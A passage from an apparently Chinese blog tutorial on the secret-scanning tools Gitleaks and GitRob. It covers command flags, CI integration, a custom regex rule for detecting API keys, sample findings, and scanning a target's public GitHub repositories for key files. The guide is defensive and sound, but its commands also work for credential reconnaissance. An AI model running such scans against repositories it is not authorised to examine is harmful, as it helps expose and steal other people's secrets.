&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;GITHUB_TOKEN&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${{ secrets.GITHUB_TOKEN }}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="关键命令"&gt;&lt;strong&gt;关键命令&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;功能&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;命令&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;扫描目录&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;gitleaks detect --source /path/to/dir&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;生成 JSON 报告&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;gitleaks detect --report-path report.json&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;自定义规则文件&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;gitleaks detect --config gitleaks.toml&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;Gitleaks scans code, past or present, &lt;span class="k"&gt;for&lt;/span&gt; secrets
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Usage:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; gitleaks &lt;span class="o"&gt;[&lt;/span&gt;command&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;Available Commands:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; completion Generate the autocompletion script &lt;span class="k"&gt;for&lt;/span&gt; the specified shell
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; detect detect secrets in code
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;help&lt;/span&gt; Help about any &lt;span class="nb"&gt;command&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; protect protect secrets in code
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; version display gitleaks version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;Flags:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; -b, --baseline-path string path to baseline with issues that can be ignored
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; -c, --config string config file path
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; order of precedence:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; 1. --config/-c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; 2. env var GITLEAKS_CONFIG
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; 3. &lt;span class="o"&gt;(&lt;/span&gt;--source/-s&lt;span class="o"&gt;)&lt;/span&gt;/.gitleaks.toml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; If none of the three options are used, &lt;span class="k"&gt;then&lt;/span&gt; gitleaks will use the default config
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; --exit-code int &lt;span class="nb"&gt;exit&lt;/span&gt; code when leaks have been encountered &lt;span class="o"&gt;(&lt;/span&gt;default 1&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; -h, --help &lt;span class="nb"&gt;help&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; gitleaks
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; -l, --log-level string log level &lt;span class="o"&gt;(&lt;/span&gt;trace, debug, info, warn, error, fatal&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;default &lt;span class="s2"&gt;&amp;#34;info&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; --max-target-megabytes int files larger than this will be skipped
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; --no-banner suppress banner
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; --redact redact secrets from logs and stdout
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; -f, --report-format string output format &lt;span class="o"&gt;(&lt;/span&gt;json, csv, sarif&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;default &lt;span class="s2"&gt;&amp;#34;json&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; -r, --report-path string report file
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; -s, --source string path to &lt;span class="nb"&gt;source&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;default: &lt;span class="nv"&gt;$PWD&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;default &lt;span class="s2"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; -v, --verbose show verbose output from scan
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;Use &lt;span class="s2"&gt;&amp;#34;gitleaks [command] --help&amp;#34;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; more information about a command.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;以下是 &lt;strong&gt;Gitleaks&lt;/strong&gt; 帮助文档的完整翻译及整理结果，附带常用示例用法：&lt;/p&gt;
&lt;h3 id="gitleaks-文档翻译"&gt;&lt;strong&gt;Gitleaks 文档翻译&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;功能&lt;/strong&gt;：扫描代码（历史或当前）中的敏感密钥（如 API Key、密码等）
&lt;strong&gt;命令格式&lt;/strong&gt;：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks [command]
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="可用命令available-commands"&gt;&lt;strong&gt;可用命令（Available Commands）&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;命令&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;completion&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;为指定 shell 生成自动补全脚本（如 bash/zsh）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;detect&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;strong&gt;核心功能&lt;/strong&gt;：检测代码中的敏感密钥&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;help&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;查看命令帮助&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;protect&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;在提交时实时拦截密钥（通常用于 Git Hook）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;version&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;显示 Gitleaks 版本&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="全局参数flags"&gt;&lt;strong&gt;全局参数（Flags）&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;参数&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-b, --baseline-path &amp;lt;路径&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;指定基准文件路径（忽略已记录的漏洞）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-c, --config &amp;lt;路径&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;配置文件路径（优先级顺序：1. 本参数 &amp;gt; 2. 环境变量 &lt;code&gt;GITLEAKS_CONFIG&lt;/code&gt; &amp;gt; 3. 代码目录下的 &lt;code&gt;.gitleaks.toml&lt;/code&gt; &amp;gt; 4. 默认配置）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;--exit-code &amp;lt;整数&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;检测到密钥时的退出码（默认值 &lt;code&gt;1&lt;/code&gt;，常用于 CI/CD 流程）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-h, --help&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;显示帮助信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-l, --log-level &amp;lt;级别&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;日志级别（trace/debug/info/warn/error/fatal，默认 &lt;code&gt;info&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;--max-target-megabytes &amp;lt;MB&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;跳过超过指定大小的文件（单位：MB）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;--no-banner&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;关闭横幅提示&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;--redact&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;strong&gt;安全&lt;/strong&gt;：在输出中隐藏密钥内容（替换为 &lt;code&gt;***&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-f, --report-format &amp;lt;格式&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;报告格式（json/csv/sarif，默认 &lt;code&gt;json&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-r, --report-path &amp;lt;路径&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;报告输出路径&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-s, --source &amp;lt;路径&amp;gt;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;扫描的代码目录（默认：当前目录 &lt;code&gt;.&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;-v, --verbose&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;显示详细扫描日志&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;

 &lt;blockquote&gt;
 &lt;p&gt;使用 &lt;code&gt;gitleaks [command] --help&lt;/code&gt; 查看具体命令帮助（如 &lt;code&gt;gitleaks detect --help&lt;/code&gt;）&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="典型用法示例"&gt;&lt;strong&gt;典型用法示例&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-基础扫描当前目录"&gt;1. &lt;strong&gt;基础扫描&lt;/strong&gt;（当前目录）
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;扫描当前目录所有文件（包括 Git 历史记录）&lt;/li&gt;
&lt;li&gt;检测到密钥时程序退出码为 &lt;code&gt;1&lt;/code&gt;（可通过 &lt;code&gt;$?&lt;/code&gt; 判断结果）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-扫描指定目录--生成报告"&gt;2. &lt;strong&gt;扫描指定目录&lt;/strong&gt; + &lt;strong&gt;生成报告&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect \
 --source ~/projects/myapp \ # 指定目录
 --report-format json \ # 报告格式
 --report-path leaks.json # 输出文件
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="3-安全扫描隐藏密钥内容"&gt;3. &lt;strong&gt;安全扫描&lt;/strong&gt;（隐藏密钥内容）
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect --redact -v
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;输出日志中的密钥将被替换为 &lt;code&gt;***&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-v&lt;/code&gt; 显示详细扫描过程&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-与-cicd-集成gitlab-示例"&gt;4. &lt;strong&gt;与 CI/CD 集成&lt;/strong&gt;（GitLab 示例）
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;stages:
 - security

gitleaks_scan:
 stage: security
 image: zricethezav/gitleaks:latest
 script:
 - gitleaks detect --exit-code 1
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;在 CI 流水线中检测到密钥立即失败（&lt;code&gt;exit-code 1&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-使用自定义配置"&gt;5. &lt;strong&gt;使用自定义配置&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect \
 --config custom.toml \ # 自定义规则文件
 --baseline-path baseline.json # 忽略已知问题
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;custom.toml&lt;/code&gt;：定义特定密钥规则（如公司内部密钥格式）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;baseline.json&lt;/code&gt;：忽略历史已处理的漏洞&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="注意事项"&gt;&lt;strong&gt;注意事项&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;敏感操作：
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;--redact&lt;/code&gt; 避免密钥在日志中泄露。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;性能优化：
&lt;ul&gt;
&lt;li&gt;用 &lt;code&gt;--max-target-megabytes 10&lt;/code&gt; 跳过大型文件（如二进制文件）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Git 集成：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;protect&lt;/code&gt; 命令可配置为 &lt;code&gt;pre-commit&lt;/code&gt; 钩子（实时拦截提交中的密钥）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;配置优先级：
&lt;ul&gt;
&lt;li&gt;灵活使用 &lt;code&gt;-c&lt;/code&gt; 参数覆盖默认规则，避免漏报。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;通过 &lt;code&gt;gitleaks detect --help&lt;/code&gt; 查看所有参数说明，或访问 官方文档 获取完整配置示例。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="使用-gitleaks-扫描-github-仓库的完整步骤"&gt;使用 GitLeaks 扫描 GitHub 仓库的完整步骤
&lt;/h3&gt;&lt;h4 id="1-克隆目标仓库"&gt;1. &lt;strong&gt;克隆目标仓库&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;git clone --depth 1 https://github.com/megacorpone/megacorpone.com.git
cd megacorpone.com.git
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2-执行-gitleaks-扫描"&gt;2. &lt;strong&gt;执行 GitLeaks 扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect -v --redact
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;detect&lt;/code&gt;：扫描模式&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-v&lt;/code&gt;：详细输出（显示所有检测结果）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--redact&lt;/code&gt;：自动屏蔽敏感信息（防止二次泄露）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250530100954639" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250530100954639.png"&gt;&lt;/p&gt;
&lt;h4 id="3-生成报告可选"&gt;3. &lt;strong&gt;生成报告（可选）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect --report-format json --report-path leaks_report.json
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;生成 JSON 格式报告，便于后续分析&lt;/li&gt;
&lt;li&gt;其他格式支持：&lt;code&gt;csv&lt;/code&gt;, &lt;code&gt;sarif&lt;/code&gt;, &lt;code&gt;html&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="高级用法"&gt;高级用法
&lt;/h3&gt;&lt;h4 id="1-仅扫描最新提交"&gt;1. &lt;strong&gt;仅扫描最新提交&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect --log-opts -1
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2-指定扫描范围"&gt;2. &lt;strong&gt;指定扫描范围&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 扫描最近 10 个提交
gitleaks detect --log-opts -10

# 扫描特定分支
gitleaks detect --branch develop
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="3-自定义规则"&gt;3. &lt;strong&gt;自定义规则&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;创建规则文件 &lt;code&gt;custom.toml&lt;/code&gt;：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;title = &amp;#34;Custom Rules&amp;#34;

[[rules]]
description = &amp;#34;MegaCorp API Key Detector&amp;#34;
regex = &amp;#39;&amp;#39;&amp;#39;(?:mc)(?:[0-9a-z\-_\t .]{0,20})(?:[0-9a-f]{32})&amp;#39;&amp;#39;&amp;#39;
tags = [&amp;#34;key&amp;#34;, &amp;#34;megacorp&amp;#34;]
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用自定义规则扫描：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect --config custom.toml
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="4-docker-方式扫描无需克隆"&gt;4. &lt;strong&gt;Docker 方式扫描（无需克隆）&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;docker run -v $(pwd):/path ghcr.io/gitleaks/gitleaks:latest detect \
 --source https://github.com/megacorpone/megacorpone.com.git \
 --report-format json \
 --report-path /path/leaks.json
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="结果解读示例"&gt;结果解读示例
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;Finding: AWS Access Key
Secret: AKIAIOSFODNN7EXAMPLE
RuleID: aws-access-token
File: src/config.py:15
Commit: d0d1c3c4d5b6a7b8c9d0e1f2a3b4c5d6e7f8a9b0
Author: dev@megacorpone.com
Date: 2025-01-15T08:00:00Z
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;高危项&lt;/strong&gt;：AWS密钥、数据库凭证、API密钥&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中危项&lt;/strong&gt;：内部邮箱、服务器地址&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;低危项&lt;/strong&gt;：测试凭据、占位符&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="注意事项-1"&gt;注意事项
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;法律合规&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;仅扫描授权仓库&lt;/li&gt;
&lt;li&gt;避免公开泄露扫描结果&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;误报处理&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;--baseline-path&lt;/code&gt; 忽略已知误报&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect --baseline-path previous_report.json
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;性能优化&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;大仓库添加 &lt;code&gt;--max-target-megabytes=50&lt;/code&gt; 限制文件大小&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;--no-git&lt;/code&gt; 跳过Git历史扫描（仅当前文件）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;敏感信息保护&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;始终使用 &lt;code&gt;--redact&lt;/code&gt; 或 &lt;code&gt;--exit-code&lt;/code&gt;（CI/CD场景）&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;gitleaks detect --exit-code 1 # 发现泄露时返回非0状态码
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;扫描完成后，立即检查并修复所有发现的敏感信息泄露！&lt;/p&gt;
&lt;h3 id="-二gitrobgithub-仓库敏感文件扫描"&gt;🕵️ &lt;strong&gt;二、GitRob：GitHub 仓库敏感文件扫描&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="核心功能-1"&gt;&lt;strong&gt;核心功能&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;自动化扫描 GitHub 用户/组织的公开仓库，检测配置文件、密钥文件等高危文件（如 &lt;code&gt;.env&lt;/code&gt;、&lt;code&gt;id_rsa&lt;/code&gt;）。&lt;/p&gt;
&lt;h4 id="安装与使用"&gt;&lt;strong&gt;安装与使用&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;安装（需 Go 环境）&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt install golang-go
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;go get github.com/michenriksen/gitrob
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;启动扫描&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 使用 GitHub Token 扫描目标用户（替换 &amp;lt;token&amp;gt; 和 &amp;lt;username&amp;gt;）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;gitrob -t &amp;lt;github_token&amp;gt; &amp;lt;username&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;注&lt;/strong&gt;：Token 需在 GitHub Settings → Developer Settings 生成，权限勾选 &lt;code&gt;repo&lt;/code&gt; 和 &lt;code&gt;user&lt;/code&gt;。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="输出解读"&gt;&lt;strong&gt;输出解读&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;结果按文件类型分类（如 &lt;code&gt;Database&lt;/code&gt;、&lt;code&gt;SSH Keys&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;显示文件路径、仓库 URL 及风险等级。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-三工具对比与联合使用建议"&gt;⚖️ &lt;strong&gt;三、工具对比与联合使用建议&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;特性&lt;/strong&gt;&lt;/th&gt;
